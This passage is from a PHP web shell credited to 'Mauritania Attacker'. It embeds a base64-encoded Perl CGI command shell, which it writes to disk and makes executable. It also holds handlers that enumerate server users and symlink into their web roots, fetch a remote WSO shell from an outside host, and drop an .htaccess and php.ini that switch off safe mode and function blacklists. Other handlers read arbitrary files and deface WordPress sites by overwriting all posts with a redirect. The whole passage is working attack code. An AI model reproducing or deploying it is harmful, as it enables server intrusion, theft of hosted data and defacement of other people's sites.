RpY2FsbHksDQo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPi4NCkVORA0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlwcmludCAiRmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkISI7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQ0KIyBicm93c2VyLCBzbyB0aGF0IGl0IGNhbiBiZSBkb3dubG9hZGVkIGJ5IHRoZSB1c2VyLg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBTZW5kRmlsZVRvQnJvd3Nlcg0Kew0KCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsNCglpZihvcGVuKFNFTkRGSUxFLCAkU2VuZEZpbGUpKSAjIGZpbGUgb3BlbmVkIGZvciByZWFkaW5nDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWJpbm1vZGUoU0VOREZJTEUpOw0KCQkJYmlubW9kZShTVERPVVQpOw0KCQl9DQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOw0KCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7DQoJCXByaW50ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtdW5rbm93blxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7DQoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOw0KCQlwcmludCB3aGlsZSg8U0VOREZJTEU+KTsNCgkJY2xvc2UoU0VOREZJTEUpOw0KCX0NCgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlwcmludCAiRmFpbGVkIHRvIGRvd25sb2FkICRTZW5kRmlsZTogJCEiOw0KCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KDQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KfQ0KDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UNCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLA0KIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJlZ2luRG93bmxvYWQNCnsNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXBsb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCSZQcmludEZpbGVVcGxvYWRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlyZXR1cm47DQoJfQ0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCg0KCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzDQoJcHJpbnQgIlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7DQoNCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkDQoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsNCgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsNCg0KCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOw0KCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdA0KCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQ0KCXsNCgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsNCgl9DQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCgl7DQoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KCQl7DQoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsNCgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9Ow0KCQkJY2xvc2UoVVBMT0FERklMRSk7DQoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7DQoJCQlwcmludCAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJcHJpbnQgIkZhaWxlZDogJCE8YnI+IjsNCgkJfQ0KCX0NCglwcmludCAiIjsNCgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCg0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQomUmVhZFBhcnNlOw0KJkdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9Ow0KJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQoNCiRBY3Rpb24gPSAkaW57J2EnfTsNCiRBY3Rpb24gPSAibG9naW4iIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0DQoNCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQNCiRDdXJyZW50RGlyID0gJGlueydkJ307DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4NCnsNCgkmUGVyZm9ybUxvZ2luOw0KDQp9DQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCgkmRXhlY3V0ZUNvbW1hbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQ0Kew0KCSZVcGxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAjIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlDQp7DQoJJkRvd25sb2FkRmlsZTsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0=\';

$file = fopen("vw.root" ,"w+");
$write = fwrite ($file ,base64_decode($cgipl));
fclose($file);
chmod("vw.root",0755);
echo "<br><center><span style=\'font-size:30px; font-family:Fredericka the Great; color:#009900\'>Bypass Perl Security</span><br><br><iframe src=cgipl/vw.root width=75% height=50% frameborder=0></iframe>
 
</div>"; 
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'posget\'){
echo \'<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass posix_getpwuid</span><center><br>\';
echo \'<form method="POST">
<input size="20" value="0" name="min" type="text">
<font face="Tahoma" color="#007700" size="2pt"> to </font>
<input size="20" value="1024" name="max" type="text"> <input value="Symlink" name="" type="submit">
</form><br>\';
if($_POST){
$min = $_POST[\'min\'];
$max = $_POST[\'max\'];
echo"<div class=\'tmp\'><table align=\'center\' width=\'40%\'><td><font color=\'#e4e4e4\'><b>Domains</b></font></td><td><font color=\'#e4e4e4\'><b>Users</b></font></td><td><font color=\'#e4e4e4\'><b>Symlink</b> </font></td>";

$p = 0;
error_reporting(0);
$list = scandir("/var/named");
for($p = $min; $min <= $max; $p++)
{
$user = posix_getpwuid($p);
if(is_array($user)){
	
foreach($list as $domain){
if(strpos($domain,".db")){
$domain = str_replace(\'.db\',\'\',$domain);
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
if($owner[\'name\'] == $user[\'name\'])
{
$i += 1;
$cheechee = checkAlexa($domain);
echo "<tr><td class=\'cone\'><a href=\'http://".$domain." \'>".$domain."</a> <font color=\'#00bb00\'>- </font><font color=\'#e4e4e4\'>".$cheechee."</font></td><center><td class=\'cone\'><font color=\'#00bb00\'>".$user[\'name\']."</font></center></td><td class=\'cone\'><center><a href=\'sim/rut".$owner[\'dir\']."/public_html/\' target=\'_blank\'>Dir</a></center></td>";
}
}
}	
}
}
echo "<center><font face=\'Tahoma\' color=\'#00bb00\' size=\'2pt\'>Total Domains Found:</font><font face=\'Tahoma\' color=\'#00bb00\' size=\'2pt\'> ".$i."</font></center><br />";
}
echo "</table></div><br><br>";
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'suphp\'){
echo \'<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass PHP Suhosin Function Blacklist</span><center><br>\';
echo "<br><form method=\'POST\'>
<input type=\'text\' name=\'path\' size=\'25\' value=".dirname(__FILE__)." \'>
<input type=\'text\' name=\'shell\' size=\'25\' value=\'http://files.xakep.biz/shells/PHP/wso.txt\'>
<input type=\'submit\' value=\'Bypass\' name=\'start\'><br><br>";
echo "<textarea class=\'area\' rows=\'15\' cols=\'78\'>virusa worm Mode :) 
";
if($_POST[\'start\']) {
$path = $_POST[\'path\'];
$file = $_POST[\'shell\'];
$htaccess = "suPHP_ConfigPath $path/vworm/php.ini";
$phpini = "c2FmZV9tb2RlID0gT0ZGCnN1aG9zaW4uZXhlY3V0b3IuZnVuYy5ibGFja2xpc3QgPSBOT05FCmRpc2FibGVfZnVuY3Rpb25zID0gTk9ORQ==";
$dir = "vworm"; 
if(file_exists($dir)) {
echo "[+] vworm Folder There Before :)
";
} else {
@mkdir($dir); {
echo "[+] vworm Folder Created :D
";
} }
#Generate Sh3LL
$fopen = fopen("vworm/vw.php",\'w\');
$shell = @file_get_contents($file);
$swrite = fwrite($fopen ,$shell);
if($swrite){
echo "[+] Shell Has Been Generated Name : vw.php 
";
} else {
echo "[~] Can\'t Generate Shell
";
}
fclose($fopen);
#Generate Htaccess
$hopen = fopen("vworm/.htaccess", "w");
$hwrite = fwrite($hopen, $htaccess);
if($hwrite){
echo "[+] htaccess Generated
";
} else {
echo "[~] Can\'t Generate htaccess
";
}
fclose($hopen);
$ini = fopen("vworm/php.ini" ,"w");
$php = fwrite($ini, base64_decode($phpini));
if($php){
echo "[+] PHP.INI Generated";
} else {
echo "[-] Can\'t Generate PHP.INI";
}
}
echo "</textarea>";
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'simpelb\'){
echo \'<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Simple Bypasser</span><center><br>\';
echo \'<br><font face="Tahoma" color="#007700" size="2pt">Create Folder : </font>
<input type="text" name="dir" size="43" value="worm"> 
<input type="submit" value="Create" name="folder"> <br> <br>
<font face="Tahoma" color="#007700" size="2pt">Get File : </font><br>
<input type="text" name="get" size="16" value="url file .txt"> 
<input type="text" name="name" size="15" value="worm.php">
<input type="text" name="select" size="16" value=\'.dirname(__FILE__).\'>
<input type="submit" value="GET" name="fileget"> <br> <br>
<font face="Tahoma" color="#007700" size="2pt">Fopen File : </font><br>
<input type="text" name="save" size="29" value="vwo.php">
<input type="text" name="path2" size="29" value=\'.dirname(__FILE__).\'><br><br>
<textarea class="area" name="source" cols="78" rows="15">PHP Code</textarea><br><br>
<input type="submit" value="Save" name="fopen">\';

if($_POST[\'folder\']) {
$mk = $_POST[\'dir\'];
$func = "bWtkaXI=";
$de = base64_decode($func);
$rules1 = $de($mk);
if ($mk) { 
echo "<br><b class=\'cone\'>[+] Done [ $mk ] Created !</b>";
} }
# File Get Contents
if($_POST[\'fileget\']) {
$get = $_POST[\'get\'];
$n4m = $_POST[\'name\'];
$path = $_POST[\'select\'];
$func2 = "ZmlsZV9nZXRfY29udGVudHM=";
$de2 = base64_decode($func2);
$rules2 = $de2($get);
$open = fopen("$path/$n4m", \'w\'); 
fwrite($open,$rules2);
fclose($open);
if($get) { 
echo "done";
} }
#
# fopen File
if($_POST[\'fopen\']) {
$save = $_POST[\'save\'];
$path2 = $_POST[\'path2\'];
$open2 = fopen("$path2/$save", \'w\');
$source1 = $_POST[\'source\'];
$source2 = stripslashes($source1);
fwrite($open2 ,$source2);
fclose($open2);
if($open2) {
echo "<b class=\'tmp\'>Done</b>";
} }
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'ritf\'){
echo \'<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Read File</span><center><br>\';
echo "<form method=\'POST\' /> 
<select name=\'website\'>
<option value=\'show_source\'>show_source</option>
<option value=\'highlight_file\'>highlight_file</option>
<option value=\'readfile\'>readfile</option>
<option value=\'include\'>include</option>
<option value=\'require\'>require</option>
<option value=\'file\'>file</option>
<option value=\'fread\'>fread</option>
<option value=\'file_get_contents\'>file_get_contents</option>
<option value=\'fgets\'>fgets</option> 
<input type=\'text\' name=\'file\' size=\'22\' /><input type=\'submit\' name=\'start\'   value=\'Read Now\' />
</select>";

function readfils($file) {

$web = $_POST[\'website\'];

switch ($web)
{
case \'show_source\': $show =  @show_source($file);  break;

case \'highlight_file\': $highlight = @highlight_file($file); break;

case \'readfile\': $readfile = @readfile($file);  break;

case \'include\': $include = @include($file); break;

case \'require\': $require = @require($file);  break;

case \'file\': $file =  @file($file);  foreach ($file as $key => $value) {  print $value; }  break;

case \'fread\': $fopen = @fopen($file,"r") or die("Unable to open file!"); $fread = @fread($fopen,90000); fclose($fopen); print_r($fread); break;

case \'file_get_contents\': $file_get_contents =  @file_get_contents($file); print_r($file_get_contents);  break;

case \'fgets\': $fgets = @fopen($file,"r") or die("Unable to open file!"); while(!feof($fgets)) { echo fgets($fgets); } fclose($fgets); break;

default: 
echo "{$web} Not There"; 
} 
}
	  
echo "<br><br><textarea class=\'area\' rows=\'15\' cols=\'68\' />";
$file = trim($_POST[\'file\']);
if($_POST[\'start\'])
{
readfils($file); }
echo "</textarea>";
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'wrdprshtmlinj\'){
echo \'<center><b class="conte">
<a href="?action=mass">Mass Deface Dirs</a> -
<a href="?action=joomla">Mass Change Admin Joomla</a> -
<a href="?action=vb">Mass Change Admin vBulletin</a> -
<a href="?action=wp">Mass Change Admin WordPress</a> -
<a href="?action=wpandjmlamassdfce">Wordpress & Joomla Mass Deface</a> -
<a href="?action=wrdprshtmlinj">Wordpress Index Hijack Priv8</a> -
<a href="?action=joommlallainxc">Joomla Index Changer</a> -
<a href="?action=wpidxcngrdesr">Wordpress Index Changer</a> -
<a href="?action=cpnlndftpotdfr">Cpanel & Ftp Auto Defacer</a> </center>
</b>\';
echo \'<form method="POST">
<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Wordpress Index Hijack Priv8</span></center><br>
<p align="center"> 
<img src="http://www3.0zz0.com/2014/08/20/15/615506358.png" /></p>

<br><center><font color="#007700" size="2" face="orion">Coded By Mauritania Attacker</font></center><br>
<center><input type="text" value="localhost" name="pghost">
<input type="text" value="database_name" name="dbnmn">
<input type="text" value="prefix" name="prefix">
<input type="text" value="username_db" name="dbusrrrr">
<input type="text" value="password_db" name="pwddbbn"></center><br>
<center><textarea class="area" name="pown" cols="100" rows="7"><meta http-equiv="refresh" content="0;URL=http://pastebin.com/raw.php?i=WG1zASMG"></textarea><br><br>
<input type="submit" name="up2" value="Hijack Index"><br></center><form>\';
$pghost = $_POST[\'pghost\'];
$dbnmn = $_POST[\'dbnmn\'];
$dbusrrrr = $_POST[\'dbusrrrr\'];
$pwddbbn = $_POST[\'pwddbbn\'];
$index = stripslashes($_POST[\'pown\']);
$prefix = $_POST[\'prefix\'];
//$prefix = "wp_";
if ($_POST[\'up2\']) {
@mysql_connect($pghost, $dbusrrrr, $pwddbbn) or die(mysql_error());
@mysql_select_db($dbnmn) or die(mysql_error());
$tableName = $prefix . "posts";
$ghost1 = mysql_query("UPDATE $tableName SET post_title =\'" . $index . "\' WHERE ID > 0 ");
if (!$ghost1) {
$ghost2 = mysql_query("UPDATE $tableName SET post_content =\'" . $index . "\' WHERE ID > 0 ");
} elseif (!$ghost2) {
$ghost3 = mysql_query("UPDATE $tableName SET post_name =\'" . $index . "\' WHERE ID > 0 ");
}
mysql_close();
if ($ghost1 || $ghost2 || $ghost3) {
echo "<center><p><b><font color=\'red\'>Index Website Have been Hijacked Successfully</font></p></b></center>";
} else {
echo "<center><p><b><font color=\'red\'>Failed To Hijack the Website :(</font></p></b></center>";
}
}
}


if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'baidir\'){
echo \'<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
